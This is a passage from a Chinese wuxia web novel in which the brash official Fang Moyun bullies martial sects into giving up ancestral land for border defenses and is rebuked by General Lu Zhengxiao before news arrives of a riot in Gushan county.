只有正啸依旧一脸波澜不惊的喝着粥，心想着难怪茉云的剑法中似有琼华剑法的影子，就连琼华这般俊秀冷傲的剑法，这丫头用起来都像个屠夫一般，想着他不禁嘴角上扬。执礼余光看见正啸表情，他两还能怪别人恶意揣测他们？
87.热闹
此时继续传来了方茉云不紧不慢、不咸不淡的的声音。
“师傅您的意思，当年我穷途末路，师门收留的恩情，是为了今时今日我一朝为官了，要我枉顾大义和朝廷来还人情吗？那您可得后悔了。”
宏明愣松半刻看向茉云，茉云的师叔山月被逗笑了忍着笑。
“方茉云，我早就后悔了，你个不孝徒，列祖列宗在天上看着呢？”易瑶师傅忿然骂道。
“师傅，琼华列祖列宗都是行侠仗义之辈，可武林再豪气干云的大侠，一辈子能救多少人性命，十人百人？若真是铁骑踏破南容，你们打算站在擂台上跟人嚷嚷，江湖道义，咱一对一，打赢了你们退回去，不孝？只怕人会觉得好笑吧。”
宏明也乐了看向茉云，武林一贯尊师重教，他虽然这么跟师傅说话实属不敬，但骨子里却透着豪气干云。
“师祖，师伯英魂在上，绝不会愿意因自己的早已弃之的凡身白白误了南容数万百姓的性命。”
易瑶掌门深吸了一口气，她心中亦知道茉云说之有理，只是茉云这贸然将后山炸开，自己完全没有心理准备。而茉云就是故意炸的，炸给全南容看的。
“老师姐，琼华后继有人。”宏明看向气度不凡的茉云赞叹道。
“她，她就在我那里呆了一年，结果贻害万年……，我还说她良心发现了，回来帮忙迁后山，结果人摆着胸脯跟我说她都搞定，然后来二话不说，就将琼华后山给炸了！”易瑶没好气的骂道。
“师傅，我就不懂了，我于公于私都在帮您。于公，你说琼华后山山高路陡不好走，人手不够，我带人回来给你把山炸了，然后好搬，你又气得蹦跳。”茉云想着自己都乐了说道，“再者于私，你想啊，师伯走的时候那都是正当年，人一年轻少侠，您这起码还能活到八九十，到时候人见你，你一脸褶子对吧，炸晕乎点，人也看不清。”
“方茉云，你给老子滚。”易瑶师傅一拍桌子吼道。
“扑哧”山月师叔和茉云带着的小马和太易都实在忍不住了笑出了声。
“好好好，别生气别生气嘛，是我错，太过浅薄，师伯绝不是那么肤浅的人。”茉云赔笑道。
宏明顿时亦没忍住笑得不行，而房里早就笑倒了一片，方茉云这人就是有这般能耐，不管什么荒谬的事她都干得出，而且到她这儿都让人觉得乐。
“真是琼华不幸。”易瑶师傅端起茶缓着气说道。
而此时云鹤正开心的冲了进来喊道“师傅，今天派里有热闹看啊。”
“别咋咋呼呼的，还不来跟琼华掌门和师叔、师兄行礼。”
“给师伯，师叔请安。”云鹤马上恭敬的行礼，还没完全行礼下去便愣住了。
“高云鹤？你来得正好。”茉云抬目定睛一看，原来是熟人。
云鹤顿时瞪大了双眼说道：“方方方……师姐。”
“来得正好，我正好找你有事，切磋一下箭法！”
“不不不不……我现在可良善了。”
云鹤飞身就跑了，他出生武林望族云家，又在会当顶习武，少时在南容城内豪横得很，可云家正好与琼华派邻近，云鹤就曾被方茉云狠狠教训过，方茉云还曾说逮到云鹤一次便教训他一次，当日云鹤的师兄皆出城历练了，没一个人可以罩他，从此云鹤苦练轻功，腿上功夫着实了得，打不赢至少能跑。
情急之下，云鹤不顾礼仪飞身就跑了，茉云亦飞身追去，她正好想找人看看如何破会当顶的剑法。
“诶，方茉云。”易瑶无语的抬头骂道。
“没事，小孩嘛，这孩子好身法。”宏明开心的追了去。
顿时两人飞身进了内堂，云鹤吓得连滚带爬的跑着。
只听见这时茉云不紧不慢的说道：“出来陪我练练，我看你们会当顶剑法有没得什么破解之法。”
云鹤又一窜而起，从窗户飞入内堂屋里，看到了正啸顿时开心的喊道“师兄，您回来了，救我。”
茉云推开了内堂大门，提剑气势汹汹的踏入内堂，顿时内堂之人都看向茉云，各有各微妙的表情。茉云抬目一眼就瞧见了正啸，两人四目相触，这一眼恍惚是一年半载转瞬即逝。
宏明亦跟了过来，忽然看见茉云提着的那把剑愣了半刻，这不是正啸娘亲的那把云夕剑吗？
“我师兄……在此，你，你别过来啊。”云鹤慌张指着茉云吼道。
子谦、阔超他们等在边城遇见茉云的人，都瞬间起身，恭敬的行礼：“方大人！”
茉云收回目光，一言未发，咬牙抽回了脚，站在门外没有进去，正啸眼中闪过一丝无语，若辰他们顿时哄堂大笑。
“嗯？”云鹤吃惊的打量一下全屋子的人，然后看向茉云，她为何不敢进来。
“嗯？”小马和太易也都凑过来看向茉云，然后往屋内伸头一探，顿时兴奋的冲进来跪下，“大人，哦，将军，小的给将军和关大人请安。”
“起来吧。”正啸温和的说道。
“头，是将军诶。”小马欣喜若狂的转身指着正啸说道。
“没瞎。”茉云没好气的说道。
“师侄和我正啸徒儿认识？”宏明开心看着茉云指着说道。
“不熟。”
“方茉云，你跟我们不熟，你跟谁熟。”若辰温润的笑了看向茉云说道。
茉云白了一眼转身却停住了，师娘整端着香喷喷的刚出炉的米糕走过来：“米糕，好香啊!”
寒娘看向茉云问道：“你是？”
“她是琼华的师侄，跟啸儿相熟。”宏明笑着看向茉云跟寒娘介绍道。
“刚出炉的米糕，吃吗？”
“嗯嗯。”茉云看着米糕发愣点点头说。
“快拿一块，刚蒸出来，热的，小心烫。”寒娘满脸都是慈爱的笑容。
“谢谢您，好好吃。”茉云开心的拿起一块咬了一口顿时喜笑开颜，她依旧没有进屋，就站在门旁开心的吃着。
“站在门外干嘛？进去坐啊。”寒娘热情的招呼道。
茉云摇摇头吃着说道：“师叔娘，我不能进去。”
“为何？在我们会当顶，不用客套。”寒娘笑着说道。
“师娘，他怕二师兄。”云鹤开心的指着说道，一副得救了的表情，众人顿时一副看热闹的表情，是也都听说过卢正啸是她克星。
“我不怕卢正啸，我怕站在他身边的那个执礼大人。”
若辰他们众人一下就哄堂
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大笑，执礼却满脸的无奈。
“什么意思？”曲悠看向了若辰小声问道，他们皆知方茉云是如何能耐之人，而执礼半分武功不懂。
“我一时词穷，不知如何解释清楚。”若辰笑着说道。
执礼也无可奈何笑着上前行礼说道：“方大人，之前是属下莽撞失言，还请您海涵。”
“言重了，您不是莽撞失言，您是心黑且眼瞎。”茉云冷冷的看向执礼说道。
“我跟您赔不是。”
“免了。”
凤溪他们都看向茉云，当日在边城方大人是何其气盛且威严之人，今日见她好像变了个人似的，丝毫没有当日的气焰。
“这是元帅夫人的佩剑吧。”宏明笑了指着云夕剑看向正啸。
寒娘也马上意识到了，茉云带的是女子佩剑，寒娘马上伸手又递了一块米糕给茉云。
“谢谢您。”茉云开心的坐在门口台阶上吃着。
宏明夫妇两都带着异样的眼神看向正啸：“你把你娘的剑给了这位女侠？”
“她抢的。”正啸无语的皱眉解释道，执礼抬眼看向正啸，他少主自幼便不是爱解释的人，这会儿生怕人误会了。
“这天下还有人能抢了你的东西去？姑娘剑法这么好？”寒娘笑着调侃说道，“连我啸儿都能打赢？”
“不是您的想那样，本来清清白白的，可他们不兴武林这一套，不讲武德。”茉云咬着米糕说道，“那个执礼，一点武功没有，却居心叵测，让人干活的时候，说什么若你鞍前马后，赤胆忠诚，建功立业，来日可跟着他家大人奔个好前程。”
执礼亦无语的看向茉云，也知道这家伙睚眦必报，这一页可没那么容易翻过去。
“转背用完了，立马狡兔死走狗亨，而且他那鬼蜮伎俩，你连风都摸不到。”茉云越想越愤然的说。
“对，执礼大人，不是小的说您，您也是，你跟将军的舅舅说什么……我们头是红颜祸水，是苏妲己，人舅舅也是，他也不来看一眼。”小马接过话来笑着说。
“就是，我们头被赶去了边城倒是也无妨，最主要是搞得人都自我怀疑了，他每日要照好久的铜镜，就连洗把脸之时，都要自言自语一番，这也可以？我……商纣王还有几分像，苏妲己？”太易笑得前俯后仰的说道。
“哈哈哈哈”众人哄堂大笑，笑得前俯后仰。
“这言过其实吧，是下属浅薄了，之前只是觉得您行事作风，太不计后果。”
“不过就是浪费了漕帮少帮主一个人情债，多稀罕啊。”茉云眼含讥讽的看向执礼说道，说完冷眼瞧了一下凤溪身边坐着的曹旷，曹旷一言不发面容温和，他回漕帮之时，他奶奶曾训斥过他，日后再遇方大人，定要万分谦恭，此人得罪不起。
“你说得是，于将军而言您最稀罕。”执礼笑着调侃道，谢青愣了一下看向执礼。
茉云则马上往后退了几步指着骂道：“看见没有，他又来这一套，天地可鉴，执礼你就是个贱人。”
“扑哧”众人又笑成了一团，若辰余光看向正啸，正啸一副完全不搭理茉云样子，看都没有多看茉云一眼，可是自己就是觉得他此时的眼神都流出了柔光，这肯定不是自己的错觉。
88.摆平
外堂传来叶大侠的声音，宏明立刻站起了身，门人也来报，叶大侠和其他门派中人都到了。
宏明笑着大手一挥说道：“你们玩你们的，我们老家伙出去应付应付。”
寒娘走出来之时，将剩下两个米糕，都塞到茉云手上，温和的笑着虽宏明去往外堂迎客，茉云开心又递了一个到万莫手里，两人开心的站在门外吃着。
“这大半年忙吗？在干嘛？”茉云和万莫随意的聊着天说道。
“就是跟着少主，有点忙，你呢？”
“哦，我还好，就认识了一朋友，憨傻憨傻的。”
“跟我一样？”
“人比你傻多了。”茉云跟万莫聊天随意的说道，“他老公找了一小的，她气疯了，一般这种情况你有两个选择对吧，一个留下来弄死那女的，一个是改嫁气死那男的，对吧，结果你猜她怎么着，她跑了，找一地开了个馆子。”
“为何？”
“不知道，有可能她情敌跟咱两一样吧。她想开个馆子馋死她？”茉云想着叹气说道。
“扑哧”众人又哄堂大笑，阔超更是笑得差点没将口中之食物喷了出来。
“诶，方茉云。”凤溪一脸娇嗔的笑了骂着，然后看向曹旷撒娇道“你看她……”
“诶，千万可别看我，我，苏妲己！”茉云无奈的说道。
众人笑得前俯后仰，内堂笑声此起彼伏，而此时外堂传来议事的声音，江湖中人，素来开门见山。
“琼华是移了山，可是会当顶和叶门不也都没有动吗？他们都交了，我就交。”
茉云顿时笑容戛然而止，抬目望向堂外，这群叫嚷之人竟然如此厚颜无耻。小马则在旁边轻声告知茉云，在城中滋事散播流言的亦是这群人。
“会当顶和叶门的田地山林都在尔等北面，你们移了若朝廷还需要，他们再移也不迟，怎得你在外围之人，日日威胁后面的不交？”琼华的山月师叔顿时愤然的驳斥道。
“琼华的师叔你不懂，外面里面原本只是个说话，我等都知道那镇南大将军都是会当顶的徒弟，那不什么都是他们说的算，欺负我们这些在朝中无依无靠之人……”
茉云顷刻就站了起来，眼神瞬间就透出了狠戾，握着剑就走了出去，正啸顿时抬头皱眉看向茉云的背影，若辰则轻轻笑了，好戏开始了。
“将军，我等也先跟去看看。”小马马上行礼说道
“嗯。”
“别动手。”谢青当即嘱咐小马和太易说道。
他两却顷刻乐了，这是他们能决定的嘛？他们二人马上跟了出去，众人在堂内只听见堂外传来一阵怒吼。
“你说什么？你昨日说，琼华不移，你不移，我把我师伯的坟炸了，我师傅气得跳起来骂我，你今天说你还是不移，你再说一遍。”
云鹤他们在内堂听了，顿时就哄堂大笑，有茉云的地方总有笑声。
“我只是代表……”
“我代你个头。”茉云飞身上去就动手了，三拳两脚就将人踹到地上。
“茉云。”易瑶掌门和师叔立马上前去拉着茉云。
茉云哪里是人随便能拉得住的，挥拳就一顿暴揍：“师傅，你别拉着我，让我打死这杂碎。”
“打得好。”宏明不嫌事大开心的看着，叶大侠则楞在原地，无语的看着，众人则还来不及反应，场内就混乱成一团……
“你们谁活得不耐烦了，一起上啊。”茉云边揍边看向周边之人吼道。
正啸顿时无语的起身了，他们亦跟了上去，到外堂一看，众人不禁哄堂大笑，他忍无可忍的走向前去，从人群中一把狠狠拎出了茉云。
“干嘛，别拉我。”茉云打红了眼愤怒的吼道，一回头，“嗯？”
正啸没好气的皱眉瞪向茉云，这家伙这个以暴制暴的习性丝毫未变，一刻不使用暴力就骨头会松似的。
“这里是武林，就是靠拳头的，他说话不算数，我还不能揍他了。”
“到后面去。”正啸不容分说的叹气说道。
易瑶师傅吃惊的抬头望向正啸，这位威武雄壮的男子是谁，他居然顷刻间就能拦住方茉云发疯。
茉云一脸气愤地甩开手，站到了后面，那人爬着坐起来一脸的鼻青脸肿，众人看来，实在忍不住哄堂大笑，茉云打人总是这般艺术……宏明更是笑得前俯后仰，寒娘亦忍着笑无语撞了他一下。
“咳咳咳。”宏明好不容易调整了一下，忍者不笑故作严肃的端坐着。
“岂有此理。”那人爬了起来指着茉云吼道。
“你还敢指我，你还指一下试试！”茉云拍着桌子说着就又要起身前去。
正啸转身瞪向茉云，顿时他内力提气了，这便是他要出剑的架势，茉云亦感受到了，她满脸皆是不服气，也只得咬牙坐下，终究也没有再动，毕竟当着众人的面被他打一顿不值当。宏明愣了一下看向正啸也被逗乐了，武力威慑？
子谦远远看着不禁乐了，他想起了瑞林的话，方茉云天不怕地不怕，唯怕卢正啸，看样子此言不假。
此时府衙的李大人到了，看见了正啸和若辰马上跪拜行礼：“下官拜见镇南大将军、拜见总督大人。”
“起来吧，李大人。”若辰亦坐下温和说道，众人也都看了过来，才惶恐的意识到，原来会当顶的大靠山着实都来了，来人便是镇南大将军卢正啸和南境巡抚钦差关若辰。
众人马上都仓皇的行礼，正啸抬手示意免礼，坐了下来。
“卢将军和关大人驾临我南容，是我南容大幸，下官不才，还请大人们听听诸位的难处，为南容做主。”李大人恭敬地说道，谢青皱眉看向李大人，此人连最起码得为官之道都不懂，居然把难题推到上官这儿来。
执礼皱眉望向若辰，若辰安抚的回了执礼一眼，他明白执礼的意思，正啸身为镇南大将军是不能当着众人面为会当顶主持公道的，若辰温润的轻点了一下头，示意自己不会让正啸在此决断此事，他会一力承担，执礼才微微的点点头。
自古忠孝难得两全，会当顶是对正啸有大恩，可是此时正啸若主持这个公道，哪怕公也是不公。
“那就请诸位像大人言明……”李大人转身看着铁掌门愣了一下，“铁掌门，你这是……”
宏明又捂着脸笑得不行，叶大侠等亦无语的被逗笑了。
“朝廷的要求我们都想支持，但是武林对朝廷一直都是尊敬的，朝廷也对武林中人礼敬有加，我们……也是拖家带口，也有一大帮派的人要养。”一门院的院主带头说道，“也希望朝廷能体恤我的不易。”
宏明顿时转身望向正啸轻摇头，眼神示意他不要管，不要允诺，没必要因为会当顶跟这些小人纠缠。
“你有什么狗屁不易。”茉云一拍桌子吼道，“你不易？你娶那么多房老婆。”
正啸没好气瞪向茉云，若辰却依旧温和的笑了，执礼和谢青等人其实压根不需要担心，但凡茉云在，她速来都搞得定，众人只要静待她表演完即可。
“他有五个老婆，你看叶大侠和你师父都只有一个，我师父一个没有。他养不活他怪谁？”茉云看向正啸没好气的说道。
“扑哧”众人又忍不住笑出了声，宏明差点把茶喷了出来，她说的倒也是实话。
“我们也不是不想搬，就是诸位都不易，想着官府是不是稍微调整一下，这样大家也……”
“调整什么，我不懂此事还要什么好商议的，李大人，一个城防难道还要修得弯弯绕绕吗？这城防是防外贼，还是给他们做窝 啊。”茉云瞪向他们说道，“南容城中安安分分的小百姓都没叫嚷自己不易，你们这些大帮大派倒是日日嚷嚷！”
“我们哪算大帮派，我等小派一直都是仰仗会当顶，琼华和叶门，他们还没搬，这不镇南大将军都回来了，还请会当顶掌门求将军为我等做主……”
“你意思会当顶和叶门不搬？”茉云顿时抬目望向了宏明和叶大侠，满脸都是错愕。
“搬。”叶大侠马上接过话说道，“为国为民，我辈武林中人当仁不让之时，我叶门绝不拖朝廷和南容的后腿。”
“我会当顶一草一木皆可为抵御外敌弃之，我这把老骨头，百年之后，就随便葬在关外南山之上，我以我魂镇南容。”宏明顿时起身激昂的说道。
执礼愣松了半刻，和谢青两人都不约而同的望向茉云，原来她是在此等着，这怕才是她今日会来之目的，她素来不是讲理，听委屈之人，把事办明白才是她要干的，她是要逼会当顶和叶门同意交出祖产田地。
“说得好，听见没。”茉云顿时一拍桌子满脸敬仰的说道，“你看会当顶和叶门，这门风正起来，哪哪都好，人帅剑好话不多还专 情，师叔们真是如此优秀。”
众人都看向茉云，寒娘看着宏明被夸赞得那般得意的表情乐得不行。正啸则眼中透出无语，他此行本来是想宽慰师傅，说明朝廷大业。
可方茉云一出现，不需他们再废话半句，一切都迎刃而解，虽她一般都是歪招，此时此刻，琼华孤儿寡母都当着全城炸了后山，会当顶和叶门等大派被迫架到这个高度，能不同意吗？
若辰则缓缓地喝着茶看向茉云被逗笑了，这丫头威逼这招用完了，该上恐吓这招了……
茉云顿时义愤填膺的吼道：“而有的武林中人，人丑话又多娶那么多老婆，剑好不好我不知道，但是人肯定是贱人，卑劣至此，居然还敢来污蔑别人，都等着，都别动，可以，给点时日我认真查查，看那些他们的田地山林都怎么就到了
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你们名下的，若是来之途径不当，老子炸琼华后山的火药还剩了大半箱，我查完就去把你们田地山林、前堂后院都炸了，大不了一起玩完。”
“闭嘴。”正啸忍无可忍的瞪着吼道，若辰忍着笑，论有失官体，方茉云总能做到极致。
“你怎么不让他们闭嘴。”茉云气愤地指着说道。
“滚后面去呆着。”
宏明愣了一下更乐了看向正啸，他这个徒儿他知道，平素里一天都难得说一句话，情绪更难得有波澜。
“哼。”茉云愤怒起身转身，转身的一刹那，就恢复了一脸的风轻云淡神情，她冷冷看了执礼一眼，眼中皆是奚落。
执礼微微笑了像茉云轻轻行了礼，谢青亦忍着笑，她这一眼便是挖苦他们的无用。执礼叹着气心想，少主身边之人皆是正大光明之人，唯有这方茉云，处处都是歪招，她都快用歪招治天下了。
易瑶师傅也愣松了半刻看向茉云背影，然后望向正啸，方茉云居然就听话这么乖乖的走了。
而众人此时谁还敢言语一句，他们本不占理，底细又被人查得清清楚楚，吵不过还打不过，耍无赖都耍不过，只得尴尬的互相望着，瞠目结舌。
“李大人，若有异议请上书朝廷，关大人会酌情处理，武林总有纷争，可是那都是关起门来，江湖中小磕小碰。可面对外敌，关防大事，我相信各位武林掌门必是当仁不让。”正啸平静却威严的说，却是看在此处是会当顶的份上，给众人一个台阶下。
“将军说的是。”众人马上行礼说道。
李大人深吸一口气惶恐的跪下说道：“将军，卑职自知有愧，有负朝廷所托。”
“李大人，你不用妄自菲薄，你处置得宜，让武林中人有自己的武林。”正啸看向李大人说道。
茉云顿时停住了转身忿然瞪向正啸，这个妇人之仁，唯唯诺诺的李大人，这点破事都摆不平，还居然抛给上司，至他们于不义之地，居然还获得嘉奖？
李大人顷刻跪地上，呆愣了半刻看向正啸，顿时眼眶有些微红。
正啸起身说道：“今日我等还有公务在身，与诸位就聊到此。”
众人都马上起身行礼，正啸带着众人走出外堂，顺手就将眼看就要发飙的方茉云也拎了出来。
走出外堂，正啸独自拎着茉云转弯进了内院，将其往内院空地一扔，没好气的瞪着她，小马他们躲在墙角，一副看好戏的表情。
“那个姓李的配为官？”茉云火冒三丈的指着说道。
“千人千面，没有李大人对于武林中人的尊重，没有今日南容的兴旺，你回去问问你师傅，看她对其评价如何？”正啸瞪着茉云愤然说道，“哪怕不能容人之过，至少能容人之难，容人之异，你这辈子都能顺当点！”
茉云愣了半刻若有所思，嘴上却还是倔强：“我好得很。”
正啸顿时就火冲到了头顶：“方茉云，看看你自己在边城，在南容干的这些破事，论为官，逼疯了自己上司，炸了南容后山，恐吓一众民众，哪里有你都没得消停，你配为官？若为官都如你这般，都不需要灭峑戎，南境早都完了！”
“什么东西？”茉云气愤地站定看向正啸说道，“我如此优秀，却每次都挨骂，那个棒槌却被嘉奖，天理何在？”
“扑哧”众人再也忍不住哄堂大笑，正啸皱眉看见这么多人都过来了，也没有说什么转身准备走。
“你也是！”若辰扇着折扇走出来看向正啸笑了说道。
正啸顿时又停住了，看向茉云当着众人严厉的说道：“方茉云，你本是中州参军，微末小吏，看在琼华是你师门的份上，这次不予计较，若再有下次，你再插手南境边关事务，我定依律办你！”
茉云抬头望向正啸，若辰愣了半刻皱眉望向正啸，小马他们也有几分吃惊的看向正啸，当着众人面如此说，让茉云颜面何存。
说完正啸便冷漠的转身走了，茉云亦冷厉的转身了，两人皆是一副两看两相厌的表情，执礼却轻轻的笑了。
众人商议完，茉云随着易瑶师傅一路回琼华，她忽然看向易瑶说道：“师傅，南容刺史李大人为官如何？”
“他是个好官！”
“不能明辨是非大义，不能平定南容大局，好在哪？”
“好在他苦口婆心愿与武林中人讲理，自古有句话，秀才遇到兵，有理说不清，可李大人不厌其烦，之前那刺史倒是个聪明人，他制衡各方那套把戏，结果致使武林恶斗丛生，门派之间关系也非常紧张，后来李大人来了才安宁，他是个仁厚之人。”
茉云没再说什么，心想大老鹰终日日里万机，忙得焦头烂额，他还关注这些？这便是宋大人当日说的，位高权重之人最珍贵之处——已识乾坤大，犹怜草木青。
89.风波
众人随正啸骑马又到了南容边关，下马之时，若辰无语的看像正啸。
“当着众人的面，要如此威严的扫其颜面？”
“若她觉得颜面扫地，不再插手南关之事才好！”正啸皱眉往前走去，前路无法骑行。
若辰双眉微蹙，执礼和谢青跟随着走来。
“人家是来帮你的！”
“关大人何须置气，这是少主和她之事。”执礼笑着说道，“你看她如何编排少主都行，若其他人说少主，她定跳起来打人，反之亦然，我昔日处置方茉云，被少主如何责罚，茉云亦只能他自己责罚。”
若辰看向执礼嘴角上扬：“倒也有理！”
他们往前行找到了刚完成丈量的杨东山，杨东山不眠不休的带人完成了丈量，见到正啸来了，立刻双手奉給正啸。
“辛苦。”
“应该的，本是属下职责。”东山恭敬的说道。
“东山，我们上午碰见了茉云乐。”执礼看向东山温和的说道
“方大人昨夜便来了此地。”东山深吸一口气看向远方说道。
众人看向东山，因为东山顷刻间，似乎眼眶微润。
“昔日在边城城防之上，方大人曾与臣说，莫愁千里路，自有到来风，等风来之时，她提酒来贺。”东山想着又笑了说道，“所以方大人提酒来了，但她说臣要干活，不能喝酒，她赏着风景一个人把带来的酒全都喝了。”
众人顿时又哄堂大笑，东山想着笑了摇摇头。
正啸随着东山勘测的地形看了一遍，傍晚他们才回城，茉云已经离城了。
“被你骂的一杯酒都没喝。”若辰笑笑叹气道，茉云一直这般洒脱来去。
众人也没有说什么，正啸和茉云的眼中确实只有公务，似乎确实没有自己，亦没有彼此。
晚上，师傅还是拉着他们到会当顶继续喝酒，依旧谈笑风生。
正啸速来坦率，他望向宏明恭敬的说道：“师傅，徒儿此行本来是想跟您说清边关重建的原委，以师傅大义，必然会支持的，可徒儿不孝，让那家伙如此出言相逼，让您不得不……”
宏明开心的端起了酒杯打断说道：“你这说的什么话，来，啸儿，若辰，师傅敬你们。”
正啸也马上端起了酒杯，若辰亦马上端起了酒杯。
“师傅不枉此生啊。”宏明大口喝酒放下酒杯畅然大笑说道。
正啸和若晨都放下酒杯望向宏明，师傅素来豁达，定然也没把茉云的胡闹放在心上。
“师傅草莽一生，从未得到过这么高的评价。”宏明喜笑颜开的指着自己说道，“如此优秀。”
“扑哧”众人哄堂大笑，寒娘也笑得不行摇摇头。
“啸儿，此等妙人，是不是与你……”
“绝无可能。”正啸顿时斩钉截铁的回道。
宏明顷刻间凑近看向千山和万莫，当年正啸在会当顶习武，他两也一直跟着习武，素来他两看待宏明和寒娘亦是如师傅师娘，“你两觉得呢？”
“师傅，此人行事，您问问在座诸位，谁不怕她？”千山难得的笑了回话道，“不信，您问问子谦便知。”
子谦顿时笑了摇摇头，也未言语，他岂敢说方茉云的坏话。一旁的东山听明白了宏明的调侃，先是愣松了半刻，想着也被逗笑了。
“那也不尽然，方茉云行事是对恶人极为苛刻，可她待老实人一向温和，不信你问万莫和杨大人，看他们有没有被茉云吓到过？”若辰笑了看向师傅说道。
万莫马上摇摇头，他觉得茉云可好相处了，两人一见如故是至交好友。
杨东山却叹了口气说道：“说没有被方大人吓到那也是不准确的，卑职闲来无事喜欢专研书法，在边城之时也是靠临摹书法大家，抒发心怀，一日大人让我临摹一人手迹，我亦知古今临摹人手迹多有阴谋，可是大人说没事就一首情诗，大人是性情中人，我亦认为一首四言情诗兴不起多大风浪。”
“结果呢。”谢青看向杨大人追问道。
“后来一日瑞林大人点破，我才知，大人此情诗不是给当事人，是要寄给当事人男子的岳母老太君，污其背叛其心爱外孙女，勾搭其他女子，其诗拳拳深情啊，还包含这个老太君昔日最恨的家中宠妾乳名。这个老太君是朝中一品诰命夫人，他只要拿到此信若不就是当场晕倒必会拿着此信就进宫告状。”
“哦，原来他是如此威胁了景城！”若辰看向东山乐了说道，“诗呢？”
东山起身取了纸墨，默写了出来，双手奉给若晨。
若辰拿过来一看，顿时笑得前俯后仰，递给正啸看，正啸居然也无语的被逗笑了，这丫头干这些事总是才高八斗，谢青他们看了无不失笑。
“她每次写这些东西，总是妙得很。”若辰撑着头笑道。
“我拿着诗问大人，大人叹气说，哎，文人墨客的终极梦想都是将自己的墨宝，上达天听，本想这次让全宫里的人都看见在下的字，可是人也不配合，她懂我的失落，算了，下次再给臣找机会。”东山无奈的笑着说
众人更是哄堂大笑，好像这南容一番闹剧，让所有人短暂的放下了肩上重担和心中枷锁，回到了当年江湖中的快意恩仇和年少轻狂。
但是翌日清晨，若辰就被来送紧急文书的何友，惊醒了昨夜的酒气，谷山县城民众居然发生了暴民反抗官府的大案，经过县令查实，居然是勾结外敌峑戎。他们马上跟师傅告辞，往谷山县城赶去。
谷山县衙是南境边关的大县，县令是京城来的倪尚，是个得力之人，还有一层身份便是原兵部侍郎的嫡子，倪家昔日和卢家是比邻，两家关系向来交好，倪家的嫡长女倪虹还是老太君的干孙女，他们幼时京城还传闻，倪虹就是老太君为卢家物色的卢家媳妇。
可奈何阴差阳错，倪大人因受当年朝中大案被贬早逝，倪家家道中落，倪虹远嫁到给苏杭一位王爷的庶出，倪尚自小视正啸为榜样，他奋发图强，年纪轻轻便考上功名，两年前上任了谷山县县令，官声在吏部记录中一直很好。
若辰看向正啸紧皱的双眉，此事于公于私对于正啸都甚为重要，若是此时峑戎勾结暴民，煽动农民造反，证据能做实还算好，但若处置不慎，到了朝廷便都是惊天之事，能让朝中之人大做文章一番。
而于私，倪尚是正啸的故人之弟，倪家若不是兵部处处护着支持卢家，事发之后，不会被如此围攻，倪虹当年若不是因为正啸，皇上亦不会赐她远嫁，让她背井离乡，连家父最后一面都未见着。
晚上他们在驿站歇息过夜，用晚膳之时，何友忽然看向若辰说道：“哥，据说倪虹姐在郡王府过得亦不好。”
若辰皱眉看向何友，于此时提起倪虹，岂是好时机，可何友并没有停止，只因倪虹当年于自己有恩，当日何友险遭绑架，若不是倪虹机警，到处寻人来救，最终路上寻得办差途中的卓深，赶到截住匪人的车救下了何友，只怕是他亦有去无回。
“ 倪虹姐当年是京城中大家闺秀的典范，端庄大气，气度不凡，嫁到郡王府为庶出之妻，据说那王爷府嫡出小王爷的夫人出生，才学，品性皆不如她，故而嫉妒之，处处刁难于她。”
“你是从哪儿习得这等长舌妇的习性！”若辰看向何友没好气的说道。
“倪虹姐是我们的朋友，当年没有人帮她说一句话。”何友说道。
“关何友！”
“何友，若是去走亲访友，你即刻离去寻个客栈住，这儿是公差住处。”正啸平淡的说道。
“ 哦，正啸哥教训的是。”何友埋头吃饭再也不敢说话了。
整个晚上他们商议朝中的局势和此事的缘由，何友都不敢议论半句，晚上休息的时候，若辰笑笑拍拍何友的肩膀，稍事宽慰他，何友憋憋嘴巴也没有说什么。
“也是你说话不识大体！”若辰看向何友说道，“你明知正啸正在
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边关之事犯愁，你说这些于事无补的话，意欲何？”
“何友，倪大小姐当年远嫁，亦是她最好的出路？”谢青亦看向何友说道。
“别数落关二公子了，少主素来鲜少说我等，偶尔少主提点几句，也已经让人很难消化了。”执礼看向何友亦宽慰道。
何友吸了口气点点头。
“此时倒是觉得我等应该跟方茉云学学，任少主如何鞭笞，她亦乘风万里行，还能反过来将少主气背过去。”执礼想着说道。
顿时众人忍俊不禁，何友也顷刻被逗笑了。
翌日清晨，茉云刚策马回到中州，在府衙门口却撞见青岚找了过来，青岚素来无事不会来府衙找寻自己的。
茉云拍拍身上的灰看向青岚说道：“出什么事了？”
青岚将一封书信交给了茉云，茉云拿过信打开了一看，愣了半刻被逗笑了：“王胖子还能引来杀生之祸？”
青岚无语的扯过信指着看向茉云：“王胖子若不是大事，会来信叨扰吗？”
“也是！”茉云抬眉想着说，“叛国谋反？他还能干如此大事，他手下只有猪啊？”
“我都急死了，没空在此跟你说笑！”
茉云看着青岚手中的包袱说：“你不用管你家许秀才了？”
“怎可重色轻友，我们和王胖子乃莫逆之交！”
“有道理，跟宋大人说一声，我再出去几天。”茉云看向刚迎出来的思淼说道。
“师姐，昨日宋大人还训斥我，放你去了南容，你把琼华后山炸了！”思淼不满的说道。
“你放我？”茉云转头没好气的朝思淼说。
“师姐一路走好！”思淼马上恭敬的低头说道，小马他们伏低头忍着笑。
青岚才晃过神来，吃惊的看向茉云说道：“你把琼华炸了？”
“边走边说，你们四个收拾一下，跟我同去吧！”茉云说道。
“收到！”
“宋大人回来等下又数落我！”思淼小声委屈的说道。
“要不你一起？”茉云没好气的看向思淼说道。
“师姐需要我吗？”思淼顿时喜笑颜开的说道，还没有等茉云否认，思淼开心的冲去收拾包袱了。
茉云满脸无语转身看见青岚瞪着自己：“你放心，师傅活得挺好的？”
“七窍生烟吧？”青岚没好气的说道。
“八窍，不知她头上是不是有一窍，但是她头顶也气得冒烟了！”茉云想着乐了说道。
青岚顿时亦无语的被逗笑了说道：“你这不是杀猴子给鸡看，损失了多的？”
“诶，你这人看得透彻，是个做官的材料！”茉云笑着说道，还没等说笑几句，众人就在府衙门口集合了。
“师姐，我们走吧，我已经跟宋大人留书了！”思淼背着包袱说道。
老马看向思淼说道：“不得去亲自跟宋大人说一声。”
“宋大人乃文臣典范，仁德昭彰，海纳百川，这点小事，不会与我等计较。”思淼笑着说道。
众人看向老马的表情，哄堂大笑，茉云亦笑了，满脸同意的点点头。随即他们一行人亦往谷山县赶去。
茉云望向前路深吸一口气，真是一波未平一波又起，谷山县民众何其淳朴，怎会暴动？
他们行至半路，思淼指着远处跟青岚介绍，说谷山县离南关不远，众人都朝南边遥望而去，茉云顿时便没了好脸色。
“这又是咋了？”思淼亦发现了，看向小马他们小声问。
小马和太易伏低头忍着笑小声说道：“能如何？在南容见到了将军，被骂了呗……”
